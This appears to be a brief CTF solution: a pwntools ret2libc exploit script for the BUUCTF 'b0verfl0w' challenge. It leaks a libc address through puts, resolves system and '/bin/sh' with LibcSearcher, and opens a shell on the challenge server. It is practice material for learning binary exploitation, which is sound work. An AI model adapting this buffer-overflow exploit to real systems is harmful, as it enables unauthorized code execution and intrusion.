ret2libc做的，，，

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #libc = ELF('libc-2.232.so')
    5. #io = process('./b0verfl0w')
    6. io = remote("node4.buuoj.cn",28118)
    7. elf =ELF('./b0verfl0w')
    8. def debug():
    9.     gdb.attach(io)
    10.     pause()
    11. puts_plt = elf.plt['puts']
    12. puts_got = elf.got['puts']
    13. main_addr =0x0804850E
    14. io.recvuntil("What's your name?")
    15. payload = b'a'*0x24+p32(puts_plt)+p32(main_addr)+p32(puts_got)
    16. io.sendline(payload)
    17. puts_addr =u32(io.recvuntil('\xf7')[-4:])
    18. print(hex(puts_addr))
    19. #system_addr = puts_addr -libc.sym['puts']+libc.sym['system']
    20. libc = LibcSearcher('puts',puts_addr)
    21. system_addr = puts_addr - libc.dump('puts')+libc.dump('system')
    22. bin_sh_addr = puts_addr- libc.dump('puts')+libc.dump('str_bin_sh')
    23. payload =b'a'*0x24+p32(system_addr)+p32(0)+p32(bin_sh_addr)
    24. io.recvuntil("What's your name?")
    25. io.sendline(payload)
    26. io.interactive()